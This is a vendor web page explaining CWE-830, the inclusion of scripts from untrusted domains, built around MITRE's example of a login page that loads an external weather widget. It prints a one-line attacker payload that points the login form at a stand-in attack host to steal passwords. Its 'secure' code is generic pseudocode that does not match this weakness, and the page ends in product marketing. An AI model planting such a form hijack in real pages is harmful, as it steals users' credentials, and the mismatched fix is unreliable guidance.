CWE-830 Variante Incompleto

Inclusion of Web Functionality from an Untrusted Source

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your…

Definición

What is CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.
Incorporating third-party web functionality, such as JavaScript widgets or analytics scripts, is a common practice but introduces significant risk. The core issue is that code loaded via tags like `` executes with the same privileges as your own application. This means the external code can read sensitive data like user cookies, session tokens, and the entire DOM, effectively bypassing the browser's same-origin policy for your site. Even if you trust the source provider, your application remains vulnerable if that provider's infrastructure is compromised or if the code is altered during delivery (a supply-chain attack). Developers might not always be fully aware of all the external dependencies their application relies on, making this a subtle but widespread issue in modern web mashups and integrated services.
Impacto en el mundo real

Real-world CVEs caused by CWE-830

Todavía no hay CVEs públicos enlazados a esta CWE en el catálogo de MITRE.

Cómo lo explotan los atacantes

Ruta del atacante paso a paso

  1. 1

    This login webpage includes a weather widget from an external website:

  2. 2

    This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

  3. 3

    For example, user login information could easily be stolen with a single line added to weatherwidget.js:

  4. 4

    This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Ejemplo de código vulnerable

Vulnerable HTML

This login webpage includes a weather widget from an external website:

Vulnerable HTML
<div class="header"> Welcome!
  	<div id="loginBox">Please Login:
  		<form id ="loginForm" name="loginForm" action="login.php" method="post">
  		Username: <input type="text" name="username" />
  		<br/>
  		Password: <input type="password" name="password" />
  		<input type="submit" value="Login" />
  		</form>
  	</div>
  	<div id="WeatherWidget">
  		<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  	</div>
  </div>
Payload del atacante

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Payload del atacante JavaScript
```
...Weather widget code....* 
  document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Ejemplo de código seguro

Secure pseudo

Seguro pseudo
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de prevención

How to prevent CWE-830

  • Architecture Use safe-by-default frameworks and APIs that prevent the unsafe pattern from being expressible.
  • Implementation Validate input at trust boundaries; use allowlists, not denylists.
  • Implementation Apply the principle of least privilege to credentials, file paths, and runtime permissions.
  • Testing Cover this weakness in CI: SAST rules + targeted unit tests for the data flow.
  • Operation Monitor logs for the runtime signals listed in the next section.
Señales de detección

How to detect CWE-830

SAST High

Ejecuta análisis estático (SAST) sobre el código buscando el patrón inseguro en el flujo de datos.

DAST Moderate

Ejecuta pruebas dinámicas de seguridad de aplicaciones (DAST) contra el endpoint en vivo.

Runtime Moderate

Vigila los logs en tiempo de ejecución para detectar trazas de excepción inusuales, entradas malformadas o intentos de bypass de autorización.

Code review Moderate

Revisión de código: marca cualquier código nuevo que maneje entrada desde esta superficie sin usar los helpers validados del framework.

Auto-corrección de Plexicus

Plexicus detecta automáticamente CWE-830 y abre un PR de corrección en menos de 60 segundos.

Codex Remedium escanea cada commit, identifica esta debilidad concreta y entrega un pull request listo para revisión con el parche. Sin tickets. Sin traspasos.

Preguntas frecuentes

Frequently asked questions

¿Qué es CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.

¿Qué gravedad tiene CWE-830?

MITRE no ha publicado una calificación de probabilidad de explotación para esta debilidad. Trátala como de impacto medio hasta que tu modelo de amenazas demuestre lo contrario.

¿Qué lenguajes o plataformas se ven afectados por CWE-830?

MITRE no ha especificado plataformas afectadas para esta CWE — puede aplicar a la mayoría de los stacks de aplicaciones.

¿Cómo puedo prevenir CWE-830?

Use safe-by-default frameworks, validate untrusted input at trust boundaries, and apply the principle of least privilege. Cover the data-flow signature in CI with SAST.

¿Cómo detecta y corrige Plexicus CWE-830?

El motor SAST de Plexicus detecta la firma de flujo de datos para CWE-830 en cada commit. Cuando hay coincidencia, nuestro agente Codex Remedium abre un PR de corrección con el código corregido, las pruebas y un resumen de una línea para el revisor.

¿Dónde puedo aprender más sobre CWE-830?

MITRE publica la definición canónica en https://cwe.mitre.org/data/definitions/830.html. También puedes consultar la documentación de OWASP y NIST para guías relacionadas.

Listo cuando tú lo estés

Deja de pagar por desarrollador.
Empieza a cerrar el bucle.

Plexicus es el ASPM nativo de IA que escanea, filtra, corrige, pentestea y explica — de forma autónoma. Desarrolladores ilimitados, repos ilimitados, acciones de IA de uso justo. Nivel gratuito real, €269/mo anual cuando estés listo.